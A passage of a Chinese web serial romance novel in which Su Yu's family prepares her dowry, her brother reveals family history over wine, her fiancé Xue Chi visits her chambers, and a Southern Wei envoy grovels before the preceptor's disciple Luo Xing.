慕容宁是想带她回北的,是不是在她心里也是在乎自己这个女儿的。 苏天翊离开后,她一直觉得,她与慕容宁是全天下最亲密的母女。 唉…… 苏钰重重的叹口气,压下眼底的泪。 人生就是一个个选择,慕容宁己经选好了,她也选好了。 车驾回到国公府,苏钰只觉得有些累,二门下车时就吩咐绿川,“打发人给大哥说一声,我回来了,有些累,就不过去见他了。” 若是去了,苏略肯定有话对她说。 以慕容宁和苏略的关系,多半不是好事。 她不太想听。 绿川想了想,“大爷多半有话要问,其他人说不清楚,还是我去吧。” 苏钰可有可无的点点头,并未往心里去。 回到听雨轩,苏钰心情沉闷,决定写信,写给薛迟。 也没什么内容,更只字不提慕容宁。只说自己己经回了国公府,只说自己的心情,内容主打一个随心所欲。 “把信交给管事,送到长公主府,是给薛大人的。”苏钰吩咐时格外叮嘱了一句。 “是。”小丫头接了信。 苏钰愣了一下,“绿川呢?” “绿川姐姐去了大爷屋里还没回来。”小丫头说着。 “还没回来?”苏钰惊讶。 她信都写完了,绿川竟然还没回来,苏略有那么多事情要问吗。 正说着,绿川从后门绕进来,眼圈红红的,好像刚哭过。 “大哥骂你了?”苏钰不禁说着。 绿川连连摇头。 苏钰道:“大哥驭下甚严,委屈你了。” 苏略对手下人向来严格,觉得绿川差事干的不好,骂几句也是常事。 “奴婢不委屈。”绿川说着。 苏钰也没再说,想着过几天赏绿川首饰或者衣料,权当补偿。 午饭后,苏钰睡了一会,起床时想着去看看谷夫人。苏略以谷夫人的名义接她回府,她回来了总得去看看谷夫人。 第146章 第 146 章 坐车到了乐道堂,…… 坐车到了乐道堂, 谷夫人也是午睡刚醒。 进到里间坐下,谷夫人笑着说,“难得你舅舅进京,怎么没多住几天。” “舅舅与母亲事务繁忙, 我在王府也怪没意思的。”苏钰笑着说, “好些天没见老太太, 就想着回来。” 谷夫人笑着, “上午你二婶来寻我,说要给你准备嫁妆。” 碍着昭华公主新丧, 公主府虽未正式下聘,晋阳长公主却打发婆子过来,言语间十分客气。 如何下聘,苏家有什么要求,现在就开始协商。高门大户的婚礼, 若是两家重视,从前期开始商议,一两年时间都是要的。 叶氏接待的婆子, 客气话说了很多, 实质性的内容却没有。 主要是苏钰的婚事, 叶氏不好做主。 苏天翊不在京城,但慕容宁在, 苏钰的婚事该她先点头。至于聘礼如何下, 嫁妆多少,都得与慕容宁商议。 偏偏慕容弦进京,慕容宁肯定很忙碌。叶氏也不过这个时候去王府找慕容宁商议,便来问谷夫人的意见。 “公主府来提亲了?”苏钰不禁问着,脸上带着几分欣喜。 谷夫人笑着说, “快了。” 苏钰眉眼间压不住的笑意,顿时低下头,难得表现出小女儿家的扭捏之态。 “府里早就准备了你的嫁妆。”谷夫人说着,“你若是有什么想法,只管去跟你二婶说。你父亲不在京城,你自己拿主意也是应该的。” 苏钰的嫁妆,还是很早以前关氏准备的,为了与贺英成亲。后来苏玫嫁到贺家,苏钰的这份嫁妆还在库房里。 现在苏钰要嫁给薛迟,这份嫁妆当然能用,却得再添。 毕竟女子的嫁妆,还得看男方的聘礼,以晋阳长公主现在的权势,下聘绝不是一个小数目。 苏钰的嫁妆也跟着来,不然到时候,嫁妆抬出门让人小看了,苏家就丢脸了。 “我没什么想法,全凭二婶做主。”苏钰说着。 这是实话,嫁妆就是钱,一直以来她连金钱观念都没多少,嫁妆怎么安排她是真不知道。 谷夫人笑着说,“还是要自己过目的,等闲了,就去看看吧。” 在娘时有父兄撑着,女子不想理财可以不理。但出阁后,钱财就得握自己手里,必须得会理财。 苏钰觉得有理,笑着说,“我明天就过去。” 女子出嫁后,管家理事是必须的。 至少得先会管自己的小家,一直以来她从来没有沾手过俗物,是得恶补一下。 谷夫人笑着说,“看看就好了,倒是你大哥,才华出众,你要跟着他学着些。” 管家理事这些苏钰用不上,她首先要学的是调整心态。不能总是一副小女儿的模样,她的婚姻注定不能只看情情爱爱。 苏钰微微一怔,总觉得谷夫人这话意有所指。 向苏略学习吗? 抬头看向谷夫人,正欲询问。 只见谷夫人说了一会话,似有些乏了,后背向后靠了靠,手搭在引枕上。 刘顺家的端着药碗进来,“老太太,该吃药了。” 看着药碗,谷夫人不禁皱眉,叹口气眼中带着无奈,“我这身子骨情愿病着,也不想喝这些东西了。” “老太太身子骨好着呢。”苏钰笑着接话,“再喝几副药就大好了。” 说话间苏钰接过药碗,上前服侍谷夫人喝药。 谷夫人喝了许久的药,每天一碗都有些怕了,但苏钰都端过来了,只得接过来喝了。 苏钰接过空碗放到桌子上,小丫头端来漱口水,刘顺家的旁边侍侯着。 谷夫人漱了口,刘顺家带着小丫头退下了,苏钰这才笑着说,“唠叨许久,耽搁老太太休息。我该回去了。” 谷夫人也有些精神不济,点点头,“去吧。” 苏钰辞了谷夫人,从乐道堂出来,看时间还早,转道去了降雪阁。 降雪阁是叶氏的住处,正值下午,云棠和苏玫都在,管事媳妇川流不息,叶氏安排事务。 苏玫来叶氏这里,是学习的。归宗回了娘家,并不表示只在家里吃闲饭,她想学习料理内务,至少能把自家的事料理好。 叶氏更乐得教她,现在关氏在莲花庵,也不知道什么时候回来,三房的事务总得有人管。 苏天佑身边连个姨娘都没有,苏越也没娶亲,苏玫领下三房的事务,叶氏也觉得轻松些。 “我来的不巧,打扰二婶了。”苏钰不禁说着。 叶氏笑着挥手让管事媳妇散去,招手示意苏钰坐下来,“我正要派人寻你,可巧你来了。” 苏玫笑着打趣苏钰,“二婶正给姐姐准备嫁妆,想问问姐姐有什么喜欢的想带走的。” 苏钰脸上顿时有几分不好意思,叶氏笑着说,“我己着人去江南请绣娘,等人来了,你把院里的厢房收拾出来,让绣娘做活。” 女子出阁,嫁衣很重要。苏钰嫁妆里是有嫁衣的,关氏请了四个绣娘绣了两个月绣好的,不管是用料还是做工,全部都是上好的。 叶氏却觉得,新郎官都换了,原本的嫁衣也不好用了。现在时间又充足,不如全部做新的,免得沾了晦气。 “是。”苏钰应着。 叶氏又让婆子把嫁妆单子拿过来,递给苏钰,“这是你原本的嫁妆单子,你看看。” 苏钰接过来,厚厚一个册子,翻开看看了看,各色各样,琳琅满目。 关氏给苏钰准备嫁妆是按照规矩,所谓规矩就是,女子出嫁到夫家,一应用品全部都是娘家准备好的。 吃穿用度,针线马桶,连井都要打上一口,表示我家姑娘到你家一口水都不喝你家的。 这是女子在婆家生活的底气。 “还是二婶决定吧。”苏钰大略翻了翻,就放上了下来。 准备嫁妆太过于专业,还得专业的人来办。就是叶氏也得是安排几个得力的管家娘子操办,自己一个人也想不全。 叶氏笑着说,“库房里有什么要带走的,你只管开口。你母亲要是有什么想法,你也只管对我说。” “母亲对我的婚事没什么想法,全凭二婶做主。”苏钰说着。 若是以前,她肯定会去问问慕容宁,现在就觉得没必要了。 慕容宁并不反对她与薛迟在一起,这就够了,至于婚礼细节…… 她成亲那天,慕容宁未必在京城。 叶氏多少舒口气,操办婚事本就繁琐,事情多更怕拿主意的人多。全权交给她料理,反倒是好办了。 “阿邑的婚事也近了,二婶这些日子辛苦了。”苏钰笑着说。 苏玫和离,不影响苏邑和程采蓝的婚事。同时准备两门婚事,叶氏着实辛苦。 “都是喜事,高兴都来不及,哪里就说辛苦了。”叶氏笑着说,“一直有准备,都是现成的。” 杨云娘好说话,亲家之间许多事情都好商议,两家住的又近,事情虽然多,却进展的很顺利。 至娶亲所需要的,叶峰早到了成亲的年龄,中了状元后,亲事也该提上议程,叶氏一直预备着。 现在叶峰的婚事没着落,东西白放着,就先给苏邑用。 至于叶峰的亲事,叶氏也不着急,就叶峰那狗脾气,还任由他挑个喜欢的,不然将来也是麻烦。 叶氏与苏钰说着嫁妆、出阁事宜,云棠就当见长识了,也不往心里去。 虽然有人上门提前,但她己经没有嫁人的想法。能接受她过往的男人没几个,都是冲着苏家小姐的身份来的,不如不嫁。 苏玫却有些感慨,同样都是苏家小姐,她若是不恋爱脑发癫,也会有一个很像样的婚礼,而不是半个月匆匆就嫁了。 从开始就不被祝福的婚礼,也注定了婚后的不幸。 幸好,都结束了。 只是付出的代价,实在太大了。 “这份嫁妆单子,我让丫头抄一份,一会派人给你送去。”叶氏对苏钰说着,“你自己看看,也给大爷看看。你父亲不在,该他给你长长眼。” 苏天翊不在,苏略也能做半个主。 “是。”苏钰应着。 以苏略的性格,未必会对婚礼、嫁妆这等琐事感兴趣。 但做为兄长,她的婚事确实需要跟他报备。 关不关心是苏略的事,说不说是她的事。 如此闲话着,眼看就到晚饭时间,苏钰和苏玫起身告辞。 叶氏留她们俩吃饭,两人皆推辞了。 “我跟越哥儿说好了,晚上和他一起吃饭,就不打扰二婶了。”苏玫笑着说。 苏钰也笑着说,“我也要去找大哥,说说婚事安排。” 叶氏只得作罢,让云棠送送两人。 云棠送两人到降雪阁大门口,苏钰回了听雨轩,苏玫先去了养云轩,苏天佑还没从衙门回来,跟随的小厮己往府里传了话,晚上应酬,会回来晚些。 苏玫吩咐厨房煮上醒酒汤备着,又担心宴席上只顾喝酒吃不好,又让厨房煮粥备着。 吩咐一通,苏玫这才去了前书房,苏越的腿伤好了许多,但还得躺着。 苏越年龄不大,这么躺着都会有些憋不住了。 “姐姐,你去看过母亲了吗?”苏越问着。 他也想去看看关氏,劝说她回家,奈何腿还动不了。 苏玫道:“昨天去了,母亲挺好的。” 她一直担心关氏在莲花庵住不惯,每隔几天就去一趟,带着钱带着东西去看关氏。 没想到关氏气色越来越好了,她说了和离之事,关氏竟然也平静的接受了了。 或者说,她把一切都看开了,也都放下了。 彻底的撒手不管,反而轻松了。 “庵堂清苦,还是家里好些。”苏越说着。 苏玫笑着说,“我己经着人收拾庵堂了,就看母亲自己想什么时候回来。” 关氏现在状态,不知道该说好还是不好。 不过好不好的,为什么要别人评说,自己觉得舒服就行。 第147章 第 147 章 苏钰回到听雨轩,…… 苏钰回到听雨轩, 刚进院就有婆子小声说,“大爷在屋里呢。” 苏钰有些意外,苏略就是有事寻她,见她不在, 都会留话离开。 在她屋里等, 苏略这种大忙人, 哪有这个时间。 苏钰快步进屋, 只见苏略正厅坐着,小丫头们一排站好, 十分规矩。 “大哥,这是怎么了。”苏钰好奇问。 苏略笑着说,“没什么,好久不来你屋里,竟不知道添了人。” 苏钰想了想, “好像是添了几个丫头。” 她屋里的事都是绿川在管,屋里十几个小丫头,多一两个她也不太在意。 倒是没想到常年不在家的苏略, 竟然能知道这些小事。 “说起来, 我们兄妹好久没一起吃饭了。”苏略笑着说。 苏钰不禁笑了, “大哥常年不在家,我想与你吃饭也找不着人。” 这是实话, 跟随苏天翊离京后, 苏略每年回来最多三天。 今年是在家时间最长的,长的让她忍不住想,苏天翊是不是要回京了,让苏略提前布置。 “是我对不好。”苏略笑着说,“我己经吩咐了厨房, 估摸着快好了,你洗洗手等吃饭吧。” “好。”苏钰应着,转身进了里间。脱了外衣,召来小丫头侍侯着洗了手。 苏钰收拾妥当从里间出来,几个婆子提着食盒进屋,小丫头上来摆桌,满满一桌子菜,还有一壶酒。 “大哥这是打算把我灌醉了严刑拷问啊。”苏钰打趣说着。 她的酒量平平,跟苏略喝酒肯定是要醉的。 “这话说的,你是有事瞒着我?”苏略笑着说。 说笑间兄妹俩落坐,绿川侍奉在侧。 动筷子吃饭,绿川正欲倒酒时,苏钰突然说,“我母亲是不是就要离京了。” 苏略微微怔了一下,眼中闪过一丝厌恶,“她跟你说了?” 苏钰摇摇头,“薛迟告诉我的。” 苏略眼中的嘲讽越来越重,要不是苏钰在场,他都要骂出声了。 要是慕容宁自己说的,好歹也算坦诚。闹半天还是薛迟说的,估摸着是不忍心苏钰一直被蒙在鼓里。 “她想而己,到底走不走的了,还是要看……皇上的意思。”苏略说着。 慕容宁和慕容弦姐弟俩坑了苏天翊,这个仇,苏天翊大度,但他小气。 这些年来,他恨不得把慕容弦碎尸万段。既然来了京城,就别回去了。 而且,当年的事,最大的苦主此刻也在京城。 苏钰默然许久,好一会才说着,“母亲并不喜欢京城的生活,想离开也挺好。” 她知道苏略对慕容宁怨气颇深,会这个时候特意提起,就是不希望苏略与慕容宁再有冲突。 慕容宁总是她的母亲,又要回西北了,只怕今生都不会再回京城。 她希望在最后的时刻,尽可能不起冲突,至少别在她面前刀剑相向。 苏略眼中愤怒一闪而过,苏钰越是为慕容宁求情,他越是愤怒。 “你可知,父亲为什么会离开京城?”苏略说着。 苏钰摇摇头,眼中带着几分落寞,“你们都不告诉我,母亲偶尔提起父亲,并无怨恨。” 因为慕容宁的态度,她一直觉得和离之事并非父亲的过错。 现在得知慕容宁早有回去之心,越发肯定,和离之事,多半错在慕容宁。 “她有什么资格怨怼。”苏略冷笑,“有些话本不该对你说。” 既然薛迟先开口了,他也没必要替慕容宁瞒着。 便把当年慕容宁会嫁给苏天翊的原由说了。 至于苏辰丢失的真相,倒不是好心替慕容宁和慕容弦瞒着,而是还不到时候。 最大的苦主苏辰和二房众人还不知道呢,这个时候告知苏钰,只会打草惊蛇。 苏钰默然听着,只觉得杯中的酒都无味了。 她一直以为自己是幸福的,至少在苏天翊离开前,她很幸福。 父母恩爱,对她宠爱有佳。就是慕容宁想回西北的想法,也是在苏天翊离开后。 原来,慕容宁压根就不想呆在京城。 “你姓苏,是父亲的女儿,母亲是谁对你并不重要。”苏略说着,试图安慰苏钰。 在他看来,苏钰人生最大的污点就是有慕容宁这个生母。 苏钰苦笑,她并不觉得这是安慰。 人生一世,最无法更改的就是父母,不管慕容宁的真实意图如何,她都相信在两人相处时,慕容宁对她是有母爱的。 从小到大,认真教导她,所思所想都是为她好,并没有任何利用之意。 苏略见苏钰发怔,知道这些话对她刺激太大,还需要消化一下,把话题转开,“公主府的婆子都来了,你与薛迟的喜事将近,既然喜欢,那就嫁吧。” 苏钰却是看向苏略,声音有些弱弱的,“父亲知道吗?” “知道啊。”苏略笑着说,“父亲同意这门亲事。” 苏天翊要是不点头,他也不敢这个态度。 慕容宁中意谢无衣,最初的时候他也觉得薛迟不是良配。 苏钰嫁给谢无衣,谢无衣就是想作妖都作不了,生活安稳,幸福安康的过完一生。 偏偏苏钰又与薛迟瓜葛,为此他特意给苏天翊写了书信,询问苏天翊的意见。 苏天翊只回了两个字,薛迟。 苏略想了想,有点明白苏天翊的意思。 他曾问过苏天翊,是否后悔收养他。 苏天翊摇摇头,他曾因苏略的心性生气愤怒,但要说后悔,是没有的。 这个养子伴他的时间比所有人都长,为他做的事,比任何人多。 又说到慕容宁,苏天翊同样摇摇头,却是说,“人生一世,落棋无悔。” 他从来不后悔娶了慕容宁,与爱不爱无关,是己经发生的事实,非要纠结于是否后悔,是在浪费自己的人生。 父子难得谈心,有了话头又说到苏钰。 女子总是要出嫁的,苏略当时就说,不挑门第,让苏钰挑个喜欢的。 权力富贵看似迷人眼,却最是无趣,苏钰要是愿意甘于平凡,也能保她富贵一生。 苏天翊却是笑着摇摇头,说他还是太年轻。 人生说是自己的,其实被各种人性情故牵扯着的。完全赤条条无牵挂的人,是不存在的,庙里的老和尚都会几个心爱的弟子。 既有牵挂,必然有不得己。 玄学讲的,风水气场也是同样的道理。 不管他的初心如何,收养了苏略,娶了慕容宁,就注定他不能如所想的那般安稳一生。 放在苏钰身上也一样,他爹是苏天翊,他妈是慕容宁,不管愿意与否,就注定她这一生是无法平静渡过的。 每个人都想独善其身,却总是被身边的人事物牵扯着,这就是人生。 “我会老,也会死,你也一样。这么多年,我自己都记不清杀了多少人,这遍地的仇家,岂能放我的后人归隐山林。”苏天翊语气平淡。 “钰姐儿若真选个穷书生,只怕我刚死,她就会被屠了满门。” 这就是身为苏天翊女儿要承担的因果,就是他都无法改变。 所谓自由自在任性妄为,从来都是有代价的,只是这个代价有人在代付。 “谢无衣的事,你也跟父亲说过吗?”苏钰有些心虚说着。 不管是谷夫人,还是慕容宁,都是支持谢无衣,反对薛迟。 她想知道苏天翊的看法。 “说了。”苏略说着,“谢无衣门第显赫,少年英才,确实很不错。但你既然与薛迟有缘,薛迟就更好。” 要是没有跟薛迟这一出,谢无衣不失为良配。但既然与薛迟有瓜葛了,那就只能是薛迟。 女人感性,容易感情用情。男人却更了解男人,感情对男人来说未必重要,但被别人抢走就绝对不行。 自古以来,臣子与君主抢女人,别说未婚的,就是己婚的,皇帝都可以明抢。 苏略观察过谢无衣的心性,被晋阳长公主养的太好,还带着少年心性。 才能是有,但对于人性人心的了解还欠缺火侯,需要历练。 只是通过书信,与苏钰聊的来很正常。笔友相交,只谈心不论现实,会掩盖现实的缺点。 到了谈婚论嫁的阶段,苏钰如此奇葩的家世,谢无衣接不住。 苏钰听得舒口气,却不禁好奇,“父亲,见过薛迟?” 薛迟说,他见过苏天翊。 十年前的旧事,苏天翊应该不记得了。 “见过。”苏略说着,“印像深刻。” 与显庆皇帝比,关太后都是正常执政者了。 关太后年龄越来越大,己经快压不住显庆皇帝作妖,同时关家也开始作妖。 苏天翊的态度在他离京前就直说了,不好就换一个。 薛迟很合适,嫡长子继位任谁都挑不出毛病,脾性气度都会是个合格的君主。 苏钰听得微微一怔,印象深刻? 想追问一句,是好的方面印象还刻,还是坏的深刻。 转念一想,当时薛迟九岁,能坏哪里去。 “父亲要回京城了。”苏略说着,言语间带着高兴。 苏钰神情一滞,好一会才惊喜说着,“真的吗?” 其实她想问苏略,她成亲时,苏天翊会回来了吗,没想到比她预想的还要早。 “最多一个月。”苏略笑着说。 苏辰己在京城,慕容弦也来了,南魏和北齐使者己在路上。 所有人都齐了,当年旧帐也该好好算一算。 第148章 第 148 章 兄妹俩边说边喝,…… 兄妹俩边说边喝, 一壶酒喝完,苏略觉得不过瘾,又要了一壶。 从夕阳阳下喝到深更半夜,大部分时间都是苏略在说。 苏钰终于知道苏天翊出京这些年在做什么, 她有些恍惚, 细想又觉得很合理。 苏钰不知道自己什么时候醉倒的, 睁开眼时只觉得头醉欲裂。 宿醉, 好难受。 “姑娘,先喝口汤吧。”绿川见她醒了, 赶紧把醒酒汤端上来。 苏钰接过来喝了一碗,依然觉得有些难受。 “什么时候了?”苏钰问着。 绿川道:“刚过卯时,还早呢,姑娘再睡会吧。” 苏钰捂着头,“以后再不喝酒了。” 绿川听得只是笑, 每个宿醉的人都会这么说,下回该喝还是会喝。 “你守了这么久,也累了, 去睡会吧。”苏钰对绿川说着。 绿川笑着说, “不要紧, 等姑娘睡了,我再去睡。” “屋里丫头这么多, 你别总是累着自己。”苏钰让她去睡觉, “喊她们过来侍侯也是一样的。” 一般来说,姑娘身边至少有两个大丫头,就是要轮班的,一个人实在侍侯不过来。 绿川笑着说,“姑娘体恤, 我更不敢偷懒。” 说了几句闲话,再加上头痛的很,苏钰反倒没了睡意。撵绿川去睡觉,唤来小丫头侍侯自己起床。 正房的灯点了起来,苏钰揉着太阳穴,小丫头上前说着,“姑娘,有你的信。” 是苏钰和苏略喝酒时送来的,当时苏钰己经喝的半醉,绿川接的信,就收在西梢间的书桌上。 “拿过来我看看。”苏钰说着。 小丫头取了信奉给苏钰,苏钰拆开,是薛迟的。 约她明天出去玩,还要来接她。 苏钰呆了呆,信里的明天,不就是今天吗? 她现在宿醉未醒,头痛欲裂,还想着一会补眠呢,哪里还有精神出去玩。 “准备笔墨,我要写信。”苏钰说着。 趁着薛迟还没出门,赶紧写了信送过去。 实话实说,昨天与苏略喝酒喝多了,她要补眠,不能出门。 头痛的缘故,字迹都有些歪歪扭扭,匆匆写完,苏钰把信封好交给小丫头,“天亮后去找管事,马上送到公主府。” 勿必在薛迟出门前交给他,不然等他过来,自己这个模样,实在不想见他。 “是。”小丫头应着。 交代完毕,苏钰这才细细看薛迟的来信。 还是老样子,有事说事,从不废话。永远充斥着钢铁直男的气息,不带丝毫情愫。 做为恋人,似乎缺少了情趣,但世上本就没有十全十美的恋人,只看自己的取舍。 慕容宁赞同婚事,苏天翊对薛迟没意见,父母都同意,对她也是一种鼓励。 把信重新封好,正要收起来时,苏钰这才想起,一直以来信件都是绿川帮着收的。 与薛迟虽然通信不多,但既然有信件,也该好好保存。 在屋里翻找了半天,终于挑到一个比较心仪的盒子,把信收了进去。 又把盒子放到书架上,随时可以看到的位置。 “厨房的人该上工了,姑娘饿不饿,要不要吃点什么?”小丫头说着。 苏钰摇摇头,见小丫头年龄不大,却十分伶俐,笑着问,“你叫什么名字?” “奴婢叫琉璃。”琉璃说着。 苏钰想了想,又看看琉琉,“看着你挺眼生的,什么时候来的我房里?” “奴婢是家生子,去年进府的,一直在后院做些粗使活计。”琉璃笑着说。 苏家的丫头分为三等,一等丫头是绿川这种贴身在主子身边侍侯的,算是房中丫头们的领班。 二等丫头是屋里侍侯,端茶倒水晚上守夜,白天做针线,常在主子面前露脸。 三等丫头做的就是打扫浆洗这种粗使活计,没有允许连主子的正房都进不得。 苏钰想了想,去年好像是进来了几个丫头,苏家的丫头都是家生子,几代人都在府里侍侯。 没往心里去,苏钰本就头痛,折腾了一会就觉得困了,躺回床上开始补眠。 伴着头晕入睡,苏钰总觉得睡不沉,模模糊糊的似乎有什么人进来。 苏钰也没在意,屋里丫头婆子那么多,有人进来也不奇怪。 “有水吗?”苏钰坐起身,掀起帐幔说着,声音中透着厮哑。 而就在帐幔掀起的一瞬间,苏钰看到了薛迟,他正坐在罗汉床,似是在看书。 听到她说话,抬起头看了过来。 “你……” 苏钰惊呆了,此时琉琉和几个小丫头上前,“姑娘醒了。” 苏钰顾不上她们,懵逼的看着薛迟,“你怎么在这里?” 这是她的闺房,她还在睡觉,薛迟怎么会出现。 薛迟没有回答她,而是转身退了出去,“你先梳洗。” 薛迟退到正堂,小丫头们放下碧纱橱的帐幔,苏钰这才回过神来。 “谁让他进来的?”苏钰瞬间清醒了,却觉得更懵逼了。 醒来看到薛迟,她并没有生气。 只是很惊讶,是谁放他进来的。 小丫头们皆摇摇头,其中一个说着,“奴婢看到薛公子进来,说了姑娘还在睡觉,薛公子说无妨,他等姑娘醒来。” 要是其他外男,别说进屋门,连院门都进不来。但府里上下皆知,薛迟和苏钰就要成亲了,这是未来的姑爷,自然没人敢拦着他。 “绿川呢?”苏钰问。 琉璃说着,“绿川姐姐还在睡觉,需要奴婢去叫她吗?” “算了,让她睡吧。”苏钰说着,“熬了一夜,她也辛苦了。” 小丫头侍侯着梳洗完毕,苏钰走到罗汉床上,看到炕几上盖着的书。 竟然是话本,因为自家开着书局,夏掌柜总会把最新的话本往府里送,随便苏钰看不看。 这本就是最新送来的,苏钰随手翻了翻,就放在书桌上,没想到薛迟会拿来看。 苏钰收拾妥当,小丫头们把帐幔收起,苏钰走到正堂,有几分嗔怪的对薛迟说,“我睡觉呢,你怎么就来了。” “我与送信的管事错过了,进到院子后,婆子说你昨晚喝醉了。”薛迟说着,“我左右无事,就等你醒来。” 苏钰的闺房十分宽敞,睡觉也是放下帐幔,重重帐幔之下什么都看不到,屋里又有一堆丫头婆子。 他在屋里也就是坐着看书,没有任何轻薄之举。 将要成亲的男女,并不算过份。 薛迟说的太理所当然,苏钰也不好怪罪他,只是自己有些不好意思,低头喃喃自语着,“宿醉的鬼样子都被看到了。” 没洗脸没梳妆,宿醉后的脸色可想而知,真不想被薛迟看到。 薛迟不禁笑了,“世上要是有那么漂亮的鬼,看到了高兴都来不及,都不会害怕了。” 苏钰越发的想捂脸,“果然还是看到了。” 她记得她马上拉上帐幔了。 薛迟笑着,拉住她的手,“睡了这么久,饿不饿。” 苏钰点点头。 薛迟对小丫头们说着,“让厨房传饭吧。” “是。”小丫头应着,转身去了厨房。 苏钰微微怔了一下,薛迟解释道:“想着你快要醒了,便吩咐厨房给你预备着。” “你是不是给赏钱了。”苏钰说着。 客人当然可以使唤下人,但这只是理论上,像薛迟这样使唤的如此顺手,多半都得给赏钱。 薛迟听得笑了,“每逢新年都有例行打赏,按公主府的惯例来的,陈平办的差,具体多少,我没问他。” 陈平做事,少出差错。这种琐事他只需要吩咐,给多少,怎么给,如何让对方收下的,他从来不过问。 “过年的时候就给了。”苏钰错愕不己。 那个时候不正是…… “下人们辛苦一年不容易,过年嘛,我这个姑爷总得有点表示。”薛迟笑着说。 姑爷两个字让苏钰有些害羞,又意外于薛迟的厚脸皮,刚想说他,对上薛迟的目光,话不自觉得咽了下去。 太坦然了,反而让她说不下去。 “还头痛吗?”薛迟问着。 喝酒喝到宿醉,要不是一起喝的是苏略,还是自己家里,他肯定要过问几句。 苏钰摇摇头,“睡了一会好多了。” 虽然还有一点点的晕,确实好多了。 正说着,婆子提着食盒进来,小丫头摆桌。 苏钰对薛迟招招手,“虽然现在还不到午饭时间,但一会午饭我肯定就不吃了。你要不要跟我一起对付吃几口。” 薛迟等她到现在,一会是肯定出门的。 虽然不知道薛迟的安排,但把时间花在吃饭,总觉得有点浪费。 薛迟点头,“也好。” 落座吃饭,拿筷子时,苏钰神色怪怪的,看向薛迟。 “怎么了?”薛迟问。 苏钰连忙摇头,“没什么。” 不是第一次跟薛迟一起吃饭,但在自己屋里跟薛迟一起吃饭,感觉就有点点微妙。 太亲密了,都有点新婚的感觉了。 再看薛迟,却是一副神情自若,十分自然的模样。 就在苏钰出神的功夫,一块排骨放到她碗里,薛迟夹给她的。 苏钰愣了一下,才说着,“谢谢。” “肚子都饿的咕咕叫了,快吃吧。”薛迟笑着说。 苏钰却不禁问,“吃完饭要去哪?” “驿馆。”薛迟说着。 虽然是临时改的地方,苏钰应该会喜欢。 第149章 第 149 章 驿馆在皇城东侧,…… 驿馆在皇城东侧, 与礼部衙门相隔不远。占地面积很大,又划分为三大区域,装修的无比豪华。 一般来说,使馆而己, 不用如此。显庆皇帝却觉得, 不能失了大国的提统, 得让外头的蛮夷看看, 天朝上国该有的气度。 毕竟大周周围的这一圈,西北慕容氏降了, 每年派使者朝贺交纳岁贡,使者都得安排在驿馆里。 再有北齐,南魏,这两大强敌。类似三国鼎立,谁都不服气, 又都灭不了对方。 百年来,打打谈谈是常态,直到苏天翊打服了北齐。 与北齐的战事基本停止, 但北齐与大周的交流开始后, 各种阴阳怪气就开始了。从民间到朝堂, 撕的更狠了。 不打仗,只是打嘴炮而己, 谁怕谁。 与南魏是刚打完, 苏震岳的战功。战后各种磋商,书信谈了一轮又一轮。 终于,在最新的书信中确定,南魏皇太子带使团来大周和谈。 显庆皇帝高兴坏了,与南魏打了这么多年, 南魏终于求和了,还是派太子来求和,天朝大国威武。 礼部尚书有心想提醒显庆皇帝,只是和谈,说不上是求和。苏震岳虽然打了胜仗,但南魏的实力还在。 南魏皇族的地位不高,要是国师府来人,那才是重视。 “这品味真是俗不可耐。”罗星打量着四周, 语气中透着嫌弃。 过于奇葩的格局不提,只是这装修,就充斥着暴发户气息。 可谓是金砖铺地,当然,要是真金砖,她还能高看一眼,至少是真有钱。 只是涂了一层看似有钱的粉,那就真不是一般的难看了。 梁沐,南魏礼部四品大员,做为南魏的使臣,与大周的战事结束不久,双方有谈判意向时就来了大周京城。 此时低眉顺耳站在罗星身侧,恭维说着,“小主子说的是,这大周人,从上到下都是爆发户,哪里懂得品味。” “小主子身份尊贵,屈尊在此实在委屈。都是下臣的不是,请小主子降罪。” 说着梁沐就跪了下来,几乎要匍匐在地上,绝对的恭顺。 罗星闲闲看了一眼,靠着椅背随意坐着,说着,“果然是礼部出来的,这嘴巴就是会说。都把我诓到这里来了,说吧,到底想怎么样。” 此时的罗星一身男装打扮,身体看不出丝毫女性特怔,连脸都变成平凡无奇的男人模样。 自从被南魏暗探发现行踪,她就没清静过。虽然甩掉他们很容易,但苍蝇似的,很烦人。 这位梁沐更是人才,凭着一张嘴把她哄到驿馆里。 她也是被烦到,与其不停的应付,不如来这里,听梁沐跟她胡说八道。 “国师大人亲笔书信,请小主子过目。”梁沐低声说着,从怀里掏出书信,跪着向前把书信奉上。 罗星随手接过来,却没有拆开,和信封一起撕个粉碎,纸屑随手扬到了梁沐身上。 梁沐身体微微发抖,信虽然不是他撕的,但国师大人的亲笔信就这么被撕了,他看到了就是有罪。 “小主子息怒。”梁沐声音发颤。 罗星面无表情的看他一眼,“我没怒。” 她要是怒了,梁沐早就人头不保。 梁沐咽了下口水,己经吓成这样,却不得不转述。信送到时,似乎料到了罗星会这么做,还特意带了话。 “小主子身份尊贵,若有闪失,臣下万死不足以谢罪。国师己知小主子在京城,己派人入京城接小主子回去。”梁沐说着。 罗星冷笑,“派人来接我,派谁来,谁能打的过我,老头子亲自来吗。” 别说来接她,就是就能挡住她的也没有,不然以老头子对她的盯梢,她都离不开南魏。 这么多年了,一直拦着她,现在是拦不住了。 梁沐哪里敢接话,国师大人就是南魏的神明,怎么可能来敌营,万一有意外,国将不国。 但除了他,还真没人能带走罗星。 罗星不走,也就是意味着,他的项上人头就是悬着的。心中顿觉得苦不堪言,觉得自己马上就能看到太奶了。 若是罗星出了一丁点意外,他罪及十八代,但惹得罗星不快,她一句话,一样罪及十八代。 “我饿了。”罗星突然说着。 因为对钱没有概念,出门也从来没有带过钱,这些天来日子过的乱七八糟,吃饭都不定时。 “马上为您准备。”梁沐说着。 因为没听到罗星说起身的话,只能继续跪着,吩咐下人准备食物。 虽然是大周的驿馆,但此处使唤的下人全是南魏人,算是自己的地盘。不然他也不敢让罗星住这里。 片刻后,下人端着食盘上来,有南魏的口味,也有京城风格的。 罗星在吃饭上从不挑剔,迅速填饱肚子。至于大周与南魏食物口味差异,完全不知道。 从来不曾在吃上感受到乐趣,纯纯生理需求而己,自然也就不在乎。 见梁沐还跪着,罗星这才说,“你是个聪明人,做你份内的事,别惹我不高兴。 “是,小主子教训的是。”梁沐应着,嘴却是苦的。 什么是份内的事,他现在份内的事,就是把罗星送回南魏。 国师大人的亲传弟子,最心爱的徒弟,一人之下万人之上,没有什么事比她更重要。 “起来吧。”罗星懒洋洋说着。 梁沐这才扶着跪麻的腿起身,再不敢乱说话,恭敬的站在一旁听吩咐。 就在此时,就有驿站小官来报,“薛迟薛大人和苏钰苏姑娘来了驿馆。” 